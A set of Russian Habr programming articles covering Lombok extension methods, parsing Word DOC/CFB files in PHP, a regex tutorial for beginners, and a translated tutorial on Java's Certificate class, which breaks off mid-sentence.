"Test" System.out.println(capitalized); } } ``` при переходе на метод расширения код станет выглядеть так: ``` import lombok.experimental.ExtensionMethod; import org.apache.commons.lang3.StringUtils; @ExtensionMethod(StringUtils.class) public class ExtensionMethods { public static void main(String[] args) { String str = "test"; String capitalized = str.capitalize(); // "Test" System.out.println(capitalized); } } ``` Заворачивания аргументов в скобки заменяются на цепочки вызовов, т.е. код вида `call3(call2(call1(arg)))` превратится в ``` arg.call1() .call2() .call3(); ``` Во многих ситуациях это может облегчить чтение кода, особенно когда цепочки длинные, здесь есть некая аналогия со `Stream Api` или преобразования значения `java.util.Optional`. Фактически это просто синтаксический сахар. Код при компиляции будет заменен на вызов статического метода. Первый аргумент статического метода и станет объектом "`this`". null-значения ------------- В отличие от обычных instance-методов, методы расширения могут работать и с null-значениями, т.е. подобный вызов вполне допустим: ``` import org.apache.commons.lang3.StringUtils; @ExtensionMethod(StringUtils.class) public class MethodExtensions { public static void main(String[] args) throws Exception { String nullStr = null; // "isEmpty=true" System.out.println("isEmpty=" + nullStr.trimToEmpty().isEmpty()); } } ``` Еще примеры ----------- Можно добавить в проект на JDK 8 метод, который появится только в JDK 11: ``` @UtilityClass public class CollectionExtensions { public static T[] toArray(Collection list, IntFunction generator) { return list.stream().toArray(generator); } } @ExtensionMethod(CollectionExtensions.class) public class MethodExtensions { public static void main(String[] args) throws Exception { List list = Arrays.asList(1, 2, 3); // toArray(IntFunction) добавлен только в Java 11 Integer[] array = list.toArray(Integer[]::new); // "[1, 2, 3]" System.out.println(Arrays.toString(array)); } } ``` Или добавить более лаконичный вызов `Stream.collect(toList()):` ``` @UtilityClass public class StreamExtensions { public static List toList(Stream stream) { return stream.collect(Collectors.toList()); } } @ExtensionMethod(StreamExtensions.class) public class MethodExtensions { public static void main(String[] args) throws Exception { List list = Arrays.asList(3, 1, 2); List sorted = list.stream() .sorted() .toList(); // "[1, 2, 3]" System.out.println(sorted); } } ``` Настройка проекта ----------------- * Установите последнюю версию [IDEA EAP](https://www.jetbrains.com/idea/nextversion/), важно: EAP версии не стабильны, зато бесплатны. Плагин доступен и в Ultimate, и в Community Edition. * Добавьте зависимость lombok: [maven](https://projectlombok.org/setup/maven) ``` org.projectlombok lombok 1.18.16 provided ``` либо для [gradle](https://projectlombok.org/setup/gradle): ``` compileOnly 'org.projectlombok:lombok:1.18.16' annotationProcessor 'org.projectlombok:lombok:1.18.16' testCompileOnly 'org.projectlombok:lombok:1.18.16' testAnnotationProcessor 'org.projectlombok:lombok:1.18.16' ``` * Убедитесь, что включена опция проекта `Build, Execution, Deployment` -> `Compiler` -> `Annotations processor` -> `Enable annotation processing` * Добавьте аннотацию `@ExtensionMethod` на класс (откуда будет вызов), перечисляя все утилитные классы, из которых необходимо импортировать вызовы.
https://habr.com/ru/post/527688/
null
ru
null
# Текст любой ценой: WCBFF и DOC Несколько позже, чем хотелось, но продолжаем наш разговор о получении текста из разных форматов данных. Мы с вами уже познакомились с тем, как работать с изначально XML-base файлами (docx и odt), прочитали текст из pdf, преобразовали содержимое rtf в plain-text. Теперь перейдём в вкусненькому да сладенькому — формату DOC. Прежде, чем внимательный читатель задастся вопросом о странной аббревиатуре в заголовке, я всё же попрошу взглянуть на содержимое какого-нибудь doc-файла: ![](https://habrastorage.org/storage2/bac/47f/6a9/bac47f6a9d200af82514c146d1f2294f.gif) Я думаю, что многие из нас на заре своей компьютерной грамотности пытались открыть doc-файлы блокнотом и видели похожие крякозябрики. Но давайте зададимся вопросом, что мы можем вынести из этого месива байтов, которое есть ничто иное, как всё тот же «Парус»? Самое интересное для нас здесь, это первые восемь байт, которые будут попадаться нам от файла к файлу, а именно `"D0 CF 11 E0 A1 B1 1A E1"` в hex'ах, или если угодно `"РПаЎ±б"` в блокноте. Вот теперь-то и стоит расшифровать второе сокращение в заголовке. WCBFF есть ничто иное, как *Windows Compound Binary File Format*, что по-русски звучит как «[Windows Подворье двоичных файлов формата](http://translate.google.com/translate_t?hl=ru#auto|ru|Windows%20Compound%20Binary%20File%20Format)». Оставим перевод на совести корпорации и подумаем, чем нам поможет этот формат со страшным названием. Так вот, CFB является прародителем, или, даже правильней сказать, скелетом для всех форматов Microsoft Office от 97ой версии до 2007 (при сохранении в формате совместимости). Этот CFB используется не только для хранения Word'овского текста, но и для сохранения листов Excel'а или презентаций PowerPoint'а. Как следствие, нам придётся прочитать костяк, что «зашифрован» в CFB, а уж потом найти в прочитанных данных текст с учётом формата DOC. #### CFB или маленькая файловая система Первым этапом, как я уже сказал, будет чтение CFB. CFB представляет файловую структуру в миниатюре: с секторами, корневой директориями и некоторым подобием файлов. Даже проблемы у этого файла такие же, как у обычных ФС — фрагментрованность секторов, например. Поэтому без знания структуры формата этот файл прочесть будет делом не лёгким — благо Microsoft пару лет открыл документацию как по CFB, так и по всем остальным «надстроечным» форматам. Давайте попробуем понять, как упакована информация в CFB-файлах. Весь файл поделён на сектора — в 512 байт каждый (в новой, четвёртой, версии размер сектора может быть 4096 байт). В первом секторе находится заголовок файла, кусочек которого мы лицезрели на скриншоте выше. В нём (заголовке) содержится вся информация о том, как, что и в какой последовательности читать из файла. Данные в файле хранятся сегментами (FAT) в те самые 512 байт. При нехватке места в секторе-сегменте остаток данных переносится в следующий по цепочке. Секторы цепочки могут быть разбросаны по файлу (т.е. файл может быть фрагментирован, как отмечалось выше). Для поддержания целостности цепочки секторов существуют специальные сектора, которые содержат, в какой сектор переходить из текущего, если все данные не прочитаны. Конец цепочки характеризуется специальным словом `ENDOFCHAIN = 0xFFFFFFFE`. В связи с тем, что для некоторых данных 512 байт может быть очень много, существуют «миниатюрные» сектора, называемые mini FAT. Мини FAT-сектор имеет длину 64 байта, поэтому в один FAT-сектор может влезть 8 (или 64) таких маленьких сегмента. Выбор в сторону FAT или mini FAT осуществляется, исходя из полной длины текущих данных. Если она меньше 4096 байт (один из параметров заголовка файла), тогда стоит использовать mini FAT, в противном случае — FAT. Данные в CFB-файле не навалены просто так — они структурированы в некоторую древовидную структуру, с корнем в специальном «файловом вхождении» `Root Entry`. Каждое такое entry имеет длину в 128 байт (в один сегмет FAT влезает 4 или 32 вхождения) и характеризуется названием, типом (хранилище — storage, поток — stream, корневое хранилище — root storage, пустое пространство — unused), дочерним и «братскими» элементами, цветом в красно-чёрном дереве. Помимо этого для потоков и корневого элемента имеют место такие параметры как смещение и длина содержимого. Таким образом, каждое вхождение в ФС может характеризоваться «прикреплённым к нему содержимым». Для потоков это будут хранимые в них данные, для корневого элемента — mini FAT файла. Кроме того, в файле есть структура, называемая DIFAT, которая хранит ссылки на сектора с цепочками FAT-последовательностей. Первые 109 DIFAT-ссылок лежат в конце заголовка файла и могут «обслужить» файлы длиной до 8,5 Мб, если этого недостаточно, то в заголовке могут быть ссылки на дополнительный DIFAT-сектор, который может заканчивать ссылкой на следующий DIFAT и так далее. Эта информация вкратце характеризует весь тот разброд и шатания, что творится в CFB-файлах. Формат, в принципе, достаточно неплохо документирован (ссылки по обыкновению в конце топика), достаточно только вдумчиво и скрупулёзно читать мануалы. Целью этой статьи я не ставил полное объяснение работы CFB-файлов, поэтому перейдём к главному — как читать doc из этого всего… #### DOC или они украли мои смещения Для начала скажу, что я написал парсинг doc (вместе с cfb) лишь с третьей попытки. До этого что-то где-то как-то не так читалось. А причина тому, что всё нужно было делать по документации, но… если с CFB это не составляет больших проблем (разве что английский, как язык мануала), то с DOC проблемы обеспечены. Начнём с того, что мы прочитали файловую систему нашего DOC'а и жаждем найти в нём текстовые данные. Что ж, Microsoft открывший спецификацию сделал нам подарок и дал возможность это сделать. Для этого мы будем работать всего с двумя вхождениями в древовидную структуру элементов CFB-файла: это поток под названием «`WordDocument`» и поток с названием «`0Table`» или «`1Table`» в зависимости от ситуации. В первом потоке находится текст документа Word, но просто так его не достать. Всё ужасно бинарно, да и ко всему прочему в Unicode кодировке с обратным порядком байтов (как и во всех CFB-файлах, стоит отметить). В связи с этим для начала прочитаем несколько полей из FIB — *File Information Block* — что лежит в начале потока WordDocument и наполняется от версии к версии (в 97ом Word'е этот заголовок занимал около 700 байт, в 2007ом — уже больше 2000). В первую очередь прочитаем слово по смещению `0x000A`, в котором найдём `0x0200` бит, единичка которого скажет нам, что мы будем иметь дело с таблицей `1Table`, а ноль — с `0Table`. Стоит отметить, что мне попадались файлы с обеими таблицами, поэтому бит придётся читать в любом случае. Дальше, нам нужно найти CLX — самую ~~жоп~~важную часть одной из выбранных ранее табличек. В этой структуре `CompLeX` хранятся смещения и длины последовательностей текстовых данных в потоке WordDocument. Длина и offset к CLX находятся в `0x01A2` и `0x01A6` DWORD'ах FIB'а «документарного потока». Получив эту информацию, мы считываем CLX из табличного потока и натыкаемся на затык… Дело в том, что CLX содержит две абсолютно разные структуры данных переменного размера — ненужную нам RgPrc и важную PlcPcd. Дело в том, что длина PgPrc может быть как нулевой, так любой. К счастью, документация не говорит, как именно отсекать первые данные от вторых, поэтому в конечном коде пришлось писать некоторого рода костыль, который, как ни странно, работает. После получения PlcPcd или, если быть более адекватным в названиях, Piece Table, мы можем разбить этот массив на два: массив cp — длины текстовых кусков (`lcbi = cpi+1 - cpi`) и pcd (piece descriptors). В каждом из последних содержится информация о смещении в WordDocument-потоке и характеристика `fCompress` — является ли этот кусок сжатым в Unicode, или это ANSI (Windows-1252). В полученных кусочках могут встречаться некоторые управляющие символы, например, вставка объекта или изображения. В моём коде часть из них удалено, парсинг остальных спецсимволов я оставляю читателю. #### Вариант кода Ну и как обычно в конце, кусочек из кода и ссылки на исходники: > 1. class doc extends cfb { > 2. public function parse() { > 3. parent::parse(); > 4. > 5. $wdStreamID = $this->getStreamIdByName("WordDocument"); > 6. if ($wdStreamID === false) { return false; } > 7. > 8. $wdStream = $this->getStreamById($wdStreamID); > 9. > 10. $bytes = $this->getShort(0x000A, $wdStream); > 11. $fComplex = ($bytes & 0x0004) == 0x0004; > 12. $fWhichTblStm = ($bytes & 0x0200) == 0x0200; > 13. $fcClx = $this->getLong(0x01A2, $wdStream); > 14. $lcbClx = $this->getLong(0x01A6, $wdStream); > 15. > 16. $ccpText = $this->getLong(0x004C, $wdStream); > 17. $ccpFtn = $this->getLong(0x0050, $wdStream); > 18. $ccpHdd = $this->getLong(0x0054, $wdStream); > 19. $ccpMcr = $this->getLong(0x0058, $wdStream); > 20. $ccpAtn = $this->getLong(0x005C, $wdStream); > 21. $ccpEdn = $this->getLong(0x0060, $wdStream); > 22. $ccpTxbx = $this->getLong(0x0064, $wdStream); > 23. $ccpHdrTxbx = $this->getLong(0x0068, $wdStream); > 24. > 25. $lastCP = $ccpFtn + $ccpHdd + $ccpMcr + $ccpAtn + $ccpEdn + $ccpTxbx + $ccpHdrTxbx; > 26. $lastCP += ($lastCP != 0) + $ccpText; > 27. > 28. $tStreamID = $this->getStreamIdByName(intval($fWhichTblStm)."Table"); > 29. if ($tStreamID === false) { return false; } > 30. > 31. $tStream = $this->getStreamById($tStreamID); > 32. $clx = substr($tStream, $fcClx, $lcbClx); > 33. > 34. $lcbPieceTable = 0; > 35. $pieceTable = ""; > 36. $pieceCount = 0; > 37. > 38. $from = 0; > 39. while (($i = strpos($clx, chr(0x02), $from)) !== false) { > 40. $lcbPieceTable = $this->getLong($i + 1, $clx); > 41. $pieceTable = substr($clx, $i + 5); > 42. > 43. if (strlen($pieceTable) != $lcbPieceTable) { > 44. $from = $i + 1; > 45. continue; > 46. } > 47. break; > 48. } > 49. > 50. $cp = array(); $i = 0; > 51. while (($cp[] = $this->getLong($i, $pieceTable)) != $lastCP) > 52. $i += 4; > 53. $pcd = str\_split(substr($pieceTable, $i + 4), 8); > 54. > 55. $text = ""; > 56. for ($i = 0; $i < count($pcd); $i++) { > 57. $fcValue = $this->getLong(2, $pcd[$i]); > 58. $isANSI = ($fcValue & 0x40000000) == 0x40000000; > 59. $fc = $fcValue & 0x3FFFFFFF; > 60. > 61. $lcb = $cp[$i + 1] - $cp[$i]; > 62. if (!$isANSI) > 63. $lcb \*= 2; > 64. else > 65. $fc /= 2; > 66. > 67. $part = substr($wdStream, $fc, $lcb); > 68. if (!$isANSI) > 69. $part = $this->unicode\_to\_utf8($part); > 70. > 71. $text .= $part; > 72. } > 73. > 74. return $text; > 75. } > 76. } > Код с комментариями вы можете получить на [GitHub'е](https://github.com/rembish/TextAtAnyCost). #### Литература * [[MS-CFB]: Compound File Binary File Format](http://download.microsoft.com/download/1/6/f/16f4e321-aa6b-4fa3-8ad3-e94c895a3c97/%5BMS-CFB%5D.pdf); * [Windows Compound Binary File Format Specification](http://download.microsoft.com/download/0/B/E/0BE8BDD7-E5E8-422A-ABFD-4342ED7AD886/WindowsCompoundBinaryFileFormatSpecification.pdf); * [MICROSOFT OFFICE WORD 97-2007 BINARY FILE FORMAT SPECIFICATION](http://download.microsoft.com/download/0/B/E/0BE8BDD7-E5E8-422A-ABFD-4342ED7AD886/Word97-2007BinaryFileFormat(doc)Specification.pdf); * [[MS-DOC]: Word Binary File Format (.doc) Structure Specification](http://download.microsoft.com/download/2/4/8/24862317-78F0-4C4B-B355-C7B2C1D997DB/%5BMS-DOC%5D.pdf); * [How to Retrieve Text from a Binary .doc File](http://b2xtranslator.sourceforge.net/howtos/How_to_retrieve_text_from_a_binary_doc_file.pdf). Как не надо делать: * [Вариант от некого Макса Брауна из Обнинска](http://obninsk.name/obninsk_doc/) Ссылки на другие статьи по теме «Текст любой ценой»: * [Текст любой ценой: RTF](http://habrahabr.ru/blogs/php/70119/) * [Текст любой ценой: PDF](http://habrahabr.ru/blogs/php/69568/) * [Текст любой ценой: DOCX и ODT](http://habrahabr.ru/blogs/php/69417/)
https://habr.com/ru/post/72745/
null
ru
null
# Regex for lazy developers Регулярные выражения – это система обработки текста, основанная на специальной системе записи образцов. Проще говоря представляет программистам возможность легко обрабатывать и валидировать строки. Представляет имплементацию принципа DRY (Don’t Repeat Yourself), почти во всех поддерживаемых языках паттерн регулярных выражений не будет изменятся от слова совсем. Код написанный на backend и frontend приложениях будет идентичным, тем самым позволяя экономить время командам на реализацию одинаковых фич. Также стоит акцентировать внимание на том, что данный модуль идеально подходит для работы с большими строками или сложными строками т.к. даёт возможность решать задачи связанные с ними просто и быстро. Бывает за чашечкой чая на кухне или в команде вы можете услышать, что регулярные выражения довольно сложные в изучение, написание и чтение и вообще их придумали ужасные люди 😈. Но так ли это? Давайте разбираться *Примечание:* *Данная статья актуальна для тех, кто считает регулярки сложными, непонятными и для тех, кто думает что базовые знания полностью хватает для работы.* ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/05e/856/550/05e85655025a12a3f2592eacfae593d6.jpeg)Как это выглядит ---------------- Далее представлены примеры на 6-х языках программирования определения российского номера телефона. | | | | --- | --- | | Паттерн | ^(?:8|\+7)[0-9]{10}$ | | C# | new Regex(“^(?:8|\+7)[0-9]{10}$”).Match(“testdata”) | | PHP | preg\_match(“/^(?:8|\+7)[0-9]{10}$/”, “testdata”, match[]) | | Python | re.match(r’^(?:8|\+7)[0-9]{10}$’,’testdata’) | | JS | /^(?:8|\+7)[0-9]{10}$/.exec(“testdata”) | | Java | “testdata”.matches(“^(?:8|\+7)[0-9]{10}$”) | | Dart | RegExp(r"^(?:8|\+7)[0-9]{10}$").allMatches(“testdata”) | В данном примере можно сразу заметить первую особенность Regex модуля, а именно паттерн условия будет полностью идентичным и вы можете легко поделится своим кодом с командой, которая пишет на другом языке программирования. А возможность быстро "шарить" кодовую базу между разными командами позволяет экономить время на разработку и реализацию фич. История появления ----------------- Впервые регулярные выражения возникли в научных работах по теории автоматов и теории формальных языков в середине 1950-х. Стефан Коул Клин признан человеком, который впервые ввёл понятие Регулярных Выражений. Принципы и идеи, заложенные в его работах, были практически реализованы Кеном Томпсоном и с его лёгкой руки проникли в язык Perl. По определению, Регулярные Выражения – это модуль вашего языка программирования, который используются для поиска и обработки текста. Язык Регулярных Выражений не является полноценным языком программирования, хотя, как и другие языки, имеет свой синтаксис и команды. ### Какие языки программирования поддерживают их? Список довольно обширный вот лишь несколько из них: Языки программирования поддерживающие regex* C * C# * C++ * Cobol * Delphi * F# * Go * Groovy * Haskell * Java * JavaScript * Julia * Kotlin * MATLAB * Objective-C * PHP * Perl * Python * R * Ruby * Rust * Scala * Swift * Visual Basic * Visual Basic .NET Возможности ----------- * Сопоставление входных данных по шаблону. * Поиск и изменение входных данных по шаблону. * Возвращение первого или всех результатов из входной строки. * Возвращение вместе с результатом общего поиска, именованные и не только подстроки при поиске. * Замена символов, слов, фраз в входной строке после прохода. * И самое главное, пиши один раз и используй везде. ### Где пригодится? * Поиск и замена кода по паттерну в IDE (VS Code, Rider, CLion, VS) * Валидация строк на соответствие шаблону (file extension). * Валидация полей на фронте (e-mail, phone number and other). * Валидация request и response данных. * Валидация огромных строк с последующим получением необходимых кусков текста без больших затрат по времени. Базовый синтаксис ----------------- * ^ – начало строки  (означает, что входная строка должна начинаться с последующего символа после этого. Не подходит если вы не знаете первый символ входной строки) * $ – окончания строки  (означает что все условия до этого символа буду являться конечным результатом входной строки и после них ничего дальше нет. Не подходит если вы хотите вернуть несколько результатов из входной строки) * \* – означает что предыдущее условие до данного символа, может встречаться один или несколько раз или вовсе не будет (соответственно может повторятся) * + – означает что предыдущее условие до данного символа должно встречаться один и более раз (соответственно, может повторятся) * [a-z] – перечисление допустимого символа в входной строке, то есть может быть любой буквой из латыни в нижнем регистре (a or b or c … or x or y or z) * [0-9] – перечисление допустимого символа в входной строке, то есть может быть любой буквой из латыни в нижнем регистре (1 or 2 or 3 … or 7 or 8 or 9) * . – один любой символ * \ – экранирование любого спец. символа (ПРИМЕР) * | – операция OR (означает, что должно выполнится условие слева или условия справа от этой операнды) ### Упрощение синтаксиса * \d ≡ [0-9] – любой символ от 0 до 9 * \D ≡ [^0-9] – любой символ кроме чисел * \w ≡ [a-zA-Z0-9\_] – любой символ латыни, все числа и \_ * \W ≡ [^a-zA-Z0-9\_] – любой символ кроме латинских символов, чисел и \_ * \s ≡ [ ] – исключительно пробел * \S ≡ [^ ] – любой символ, кроме пробела Разбор базового синтаксиса -------------------------- | | | | | --- | --- | --- | | Регулярное выражение | Позитивный результат | Негативный результат | | (Ч|ч)асы | “Часы”, “часы” | “39”, “Уаз”, “Час”, “чсы”, “асы” | | (Ч|ч)?асы | “Часы”, “часы”, “асы” | “39”, “Уаз”, “Час”, “чсы” | | .асы | “Часы”, “уасы”, “#асы”, “Zасы”, “4асы” | “39”, “Уаз”, “Час”, “чсы”, “асы” | | [0-9]+ | “62”, “1”, “5123”, “632” | “abs” | | a+b | “ab”, “aab”, “aaaaaaab” | “abs”, “b”, “cb”  | | [0-9]\* | “62”, “1”, “5123”, “632” | “abs” | | a\*b | “ab”, “aab”, “aaaaaaab”, “b” | “abs” | | \+7 | “+7” | “+1”, “++7”, “-7” | | ^\+7\d{10} | “+79991112233”, “+712345678900” | “+712345678” | | ^\+7\d{10}$ | “+79991112233”  | “+712345678900”, “+712345678” | ### Длина условий Кроме валидации значений в строке мы также можем указывать сколько символов должно проходить одно и тоже условие. Есть всего три возможности работать длиной условий: * {3} – обязательное кол-во символов для условия * {3,5} – мин. и макс. кол-во символов для условия * {3,} – обязательное мин. кол-во и неограниченное макс. кол-во | | | | | --- | --- | --- | | Регулярное выражение | Позитивный результат | Негативный результат | | [0-9] {3} | “632”, “777”, “891” | “39”, “1”, “5123”, “abs” | | [0-9] {3,5} | “632”, “12345”, “5123” | “39”, “7”, “125123”, “abs” | | [0-9] {3,} | “632”, “123456”, “5123” | “39”, “0”, “abs” | *Примечание: Условие “[0-9]” можно заменить на сокращение “\d”* ### Работа с группами (Advanced) Дальше будет немного сложно, готовьтесь. * () – создание анонимной группы  (создание подстроки и выделение на неё памяти) * (?‘nameGroup’) - (?) – создание именованной строки * (\k) – служит для избавления паттерна от дубликат кода, то-есть если у вас есть именованная группа “nameGroup” с каким-то условием, вы можете не писать вторую группу в паттерне, а просто использовать данную директиву регулярных выражением указывая лишь название группы, которая была описана до. Тем самым, условие будет повторятся и вам не нужно описывать его заново. * (?:) – выделение в логические скобки условия, без именование и создания подстроки * (<=) – Исключает условия внутри скобок и не включает его в выборку. * (?!) – Проверяет условия внутри скобок и не включает его в выборку. ### Реальный пример из жизни Однажды по работе нужно было парсить данные с QR кода, которые печатались на чеках при покупке/возврате разных товаров, услуг и т.д. Первая версия парсера была написана на бекенд части (C#). Кодовая база парсера была объёмом в ~150 строк кода, она не учитывала некоторые особенности разных фискальных регистраторов (устройства, которые печатают чеки и отправляют данные в ФНС). Для изменения данной функции требовалось внимательно смотреть, проверять каждую строчку кода. Позже вариантов стало так много и появилась необходимость использовать её на фронте для валидации. Соответственно, было решено переписать её, используя регулярные выражения для упрощение парсера и возможности легкого и быстрого переноса его на другой язык программирования. Цели:  1. Парсить входные значения для валидации по шаблону 2. Брать необходимые поля дату и сумму покупки для дальнейшего использования в системе. 3. Проверять что поле “n” равно всегда 1 (0 – возврат, 1 – покупка) Входные данные: t=20181125T142800&s=850.12&fn=8715000100011785&i=86841&fp=1440325305&n=1 Регулярное выражение на парсинг данных: ^t=(?[0-9-:T]+)&s=(?[0-9]+(?:\.[0-9]{2})?)&fn=[0-9]+&i=[0-9]+&fp=[0-9]+&n=1$ Пример кода (C#): ``` private static (string date, string sum) parseQRCode(string data) { var pattern = new Regex(@"^t=(?[0-9-:T]+)&s=(?[0-9]+(?:\.[0-9]{2})?)&fn=[0-9]+&i=[0-9]+&fp=[0-9]+&n=1$", RegexOptions.ECMAScript); var matchResult = pattern.Match(data); if (!matchResult.Success) throw new ArgumentException("Invalid qrCode"); var dateGroup = matchResult.Groups["Date"]; if(!dateGroup.Success) throw new ArgumentException("Invalid qrCode, Date group not found"); var sumGroup = matchResult.Groups["Sum"]; if(!sumGroup.Success) throw new ArgumentException("Invalid qrCode, Sum group not found"); return (dateGroup.Value, sumGroup.Value); } ``` Пример кода на JS: *Это вариант сделан через Exception-ы, но можно сделать через return false или return null.* ``` const parseQRCode = (data:string) : {date: string, sum: string} => { const pattern = new RegExp("^t=(?[0-9-:T]+)&s=(?[0-9]+(?:\.[0-9]{2})?)&fn=[0-9]+&i=[0-9]+&fp=[0-9]+&n=1$"); const matchResult = pattern.exec(data); if (!matchResult) throw "Invalid qrCode"; const dateGroup = matchResult[1]; if(!dateGroup) throw "Invalid qrCode, Date group not found"; const sumGroup = matchResult[2]; if(!sumGroup) throw "Invalid qrCode, Sum group not found"; return {date: dateGroup, sum: sumGroup}; }; ``` На выходе мы получаем получаем два значения: 1. Date – поле обозначающее дату и время покупки (осталось только спарсить её и превратить в объект даты) 2. Sum – сумма покупки Теперь давайте разберём паттерн поподробнее: 1. ^ – обозначающая начало строки 2. t=(?[0-9-:T]+) – обязательные символы  t=(далее любые символы (от 0 до 9 или - или : или T) в одном или более экземпляре) 3. &s=(?[0-9]+(?:\.[0-9]{2})?) – обязательные символы  1. &s= – обязательная последовательность символов & и s и = 2. [0-9]+(символы от 0 до 9 одном или более экземпляре) 3. (?:\.[0-9]{2})? 4. $ – обозначающая конец строки 5. &fn=[0-9]+ – обязательные символы &fn= и далее [0-9]+ -> (любое число от 0 до 9 в одном или более экземпляре) 6. &i=[0-9]+ – обязательные символы &i= и далее [0-9]+ -> (любое число от 0 до 9 в одном или более экземпляре) 7. &fp=[0-9]+ – обязательные символы &fp= и далее [0-9]+ -> (любое число от 0 до 9 в одном или более экземпляре) 8. &n=1 – обязательные символы &n=1 ### Проблема работы с не латынью Когда вам необходимо работать со всем алфавитом из латыни, достаточно просто написать [a-zA-Z]. Многие подумают что при работе с кириллицей хватает написать [а-яА-Я]. Вроде всё логично и всё хорошо, но в какой-то момент вы поймете, что у вас иногда она работает некорректно. Проблема заключается в том, что диапазон [а-я] не включает в себя букву “ё”, соответственно, вам необходимо изменить ваш паттерн с [а-яА-Я] на [а-яёА-ЯË], чтобы код учитывал специфичную букву в алфавите. Такая проблема есть не только в кириллице, также эта проблема актуальна для греческого, турецкого и ряда других языков. Будьте внимательны при написание паттерна, который должен использовать эти языки. ### Флаги regex в JS * global (g) - не прекращает поиск после нахождения первого соответствия. * multi line (m) - ищет по строке включая перенос строки (^ начало строки, $ конец строки). * insensitive (i) - производить поиск вне зависимости от регистра (a ≡ A) * sticky (y) - поиск возвращает, кроме совпадения индекс с начала совпадения подвыборки (не поддерживается в IE) * unicode (u) - поиск включает unicode символы (не поддерживается в IE) * single line (s) - в этом режиме символ “.” включает в себя также перенос на новую строку (поддерживается в Chrome, Opera, Safari) ### Дополнительные настройки regex в C# RegexOptions выставляется как дополнительный параметр в конструкторе Regex класса. Также его можно указывать в методах Match, Matches. * None - выставляется по дефолту. * IgnoreCase (\i) - проверяет без учёта регистра. * Multiline (\m) - работа со строкой где есть переносы \n. * ExplicitCapture (\n) - добавляет в результат только именованные группы. * Compiled (будет полезен лишь в static варианте, ускоряет регулярку, замедляет компиляцию). * Singleline (знак “.” будет обозначать любой символ кроме \n и игнорирует его при поиске) * IgnorePatternWhitespace (\x) . (вырезает все пробелы, исключения в конструкциях[],{}) * RightToLeft - поиск справа налево. * ECMAScript (JS like версия, но стиль группировки как в .NET). * CultureInvariant (сравнивает игнорирую раскладку клавиатуры). ### Хорошие практики и советы по оптимизации 1. Чем меньше группировок, тем быстрее скорость выполнения. Cтарайтесь их избегать, если они вам не нужны. 2. Используя сокращения (\d, \w и другие), будьте уверены что они полностью соответствуют вашим условиям поиска. 3. Если вы часто используете регулярные выражения, создайте его один раз глобально, тем самым снизив кол-во дубликат кода. 4. Почти везде есть возможность компиляции регулярных выражений, которая зачастую оптимизирует ваши выражения и ускоряет их выполнения. НО используете их после проверки, это ускорит работу вашего кода. 5. Старайтесь уменьшить количество экранирования (\), данный функционал замедляет скорость выполнения во многих языках программирования. 6. У регулярных выражений есть поддержка utf кода символов. В некоторых моменты это позволит улучшить производительность, но уменьшит читаемость. Если решитесь их использовать, будьте уверены, что команда одобрит ваше решение и оно того стоит. Заключение ---------- Регулярные выражения лишь хотят казаться сложными, но на деле возможности которые они предоставляют дают массу возможностей и позволяют упростить и ускорить работу всем от Junior-а до Senior/Lead-a. Пожалуйста, если у вас будут вопросы милости прошу в комментарии, где мы сможем с вами подискутировать. **P.S.** Программируйте это всё ещё классно) **P.P.S.** Привет всем кто пришёл сюда с mergeconf **P.P.P.S.** Спасибо [**Serge78rus**](https://habr.com/ru/users/serge78rus/)за небольшое исправление по описанию операции +. Ссылки ------ → [Замеры на разных языках](https://github.com/mariomka/regex-benchmark) → Онлайн [regex-помощник](https://regex101.com) со словарём всех доступных команд и поддержкой нескольких языков программирования.
https://habr.com/ru/post/577534/
null
ru
null
# Криптография в Java. Класс Certificate Привет, Хабр! Представляю вашему вниманию перевод заключительной статьи "Java Certificate" автора Jakob Jenkov из [серии статей для начинающих](http://tutorials.jenkov.com/java-cryptography/index.html), желающих освоить основы криптографии в Java. Оглавление: ----------- 1. [Java Cryptography](https://habr.com/ru/post/444764/) 2. [Java Cipher](https://habr.com/ru/post/444814/) 3. [MessageDigest](https://habr.com/ru/post/444974/) 4. [Mac](https://habr.com/ru/post/445228/) 5. [Signature](https://habr.com/ru/post/445330/) 6. [KeyPair](https://habr.com/ru/post/445560/) 7. [KeyGenerator](https://habr.com/ru/post/445560/) 8. [KeyPairGenerator](https://habr.com/ru/post/445560/) 9. [KeyStore](https://habr.com/ru/post/445786/) 10. [Keytool](https://habr.com/ru/post/446322/) 11. Certificate 12. CertificateFactory 13. CertPath Java Certificate (Сертификат) ----------------------------- Класс сертификата (**java.security.cert.Certificate**) представляет собой сертификат удостоверяющий принадлежность некоторому субъекту, например, пользователю. Экземпляр класса сертификата содержит имя и другие сведения об объекте, который он идентифицирует, а также, возможно, цифровую подпись от центра сертификации (ЦС). Класс `Certificate` является абстрактным классом, поэтому, вы можете использовать в качестве типа переменной `Certificate`, а ваша переменная всегда будет указывать на подкласс. Этот класс имеет один подкласс — `X509Certificate`, который представляет сертификат X.509, использующийся в качестве сертификата в протоколах HTTPS и TLS. ### Получение экземпляра сертификата Вы можете получить экземпляр сертификата следующими способами: * Из `CertificateFactory`. * Из [хранилища ключей](https://habr.com/ru/post/445786/). Посмотрите эти два руководства для получения дополнительной информации о получении экземпляра сертификата. #### getEncoded() Метод `getEncoded()` сертификата возвращает закодированную версию сертификата в виде байтового массива. Например, если сертификат является сертификатом X509, возвращенный байтовый массив будет содержать версию экземпляра сертификата в кодировке X.590 (ASN.1 DER). Вот пример использования метода`getEncoded()`: ``` byte[] encodedCertificate = certificate.getEncoded(); ``` #### getPublicKey() Метод сертификата `getPublicKey()` возвращает открытый ключ этого экземпляра сертификата. Вот пример метода `getPublicKey()`: ``` PublicKey certificatePublicKey = certificate.getPublicKey(); ``` #### getType() Метод `getType()` возвращает тип экземпляра сертификата. Пример `getType()`: ``` String certificateType = certificate.getType(); ``` #### verify() Класс сертификата содержит три метода `verify()`. Эти методы могут использоваться для проверки того, что сертификат действительно подписан с закрытым ключом, соответствующим ожидаемому открытому ключу. Вот пример проверки сертификата: ``` // получение ожидаемого открытого ключа (не из сертификата!) PublicKey expectedPublicKey = ... ; try{ certificate.verify(expectedPublicKey); } catch (InvalidKeyException e) { // сертификат не был подписан данным открытым ключом } catch (NoSuchAlgorithmException | NoSuchProviderException | SignatureException | CertificateException e){ // что-то еще пошло не так } ``` Метод `verify()` не возвращает значения. Если проверка не пройдена, будет выдано исключение `InvalidKeyException`. Если не сгенерировано исключение, экземпляр сертификата можно считать проверенным. Java CertificateFactory (Фабрика сертификатов --------------------------------------------- Класс `CertificateFactory` (**java.security.cert.CertificateFactory**) способен создавать экземпляры сертификата (`Certificate`) из двоичных данных сертификатов с кодировками X.509 (ASN.1 DER). `CertificateFactory` также может создавать экземпляры 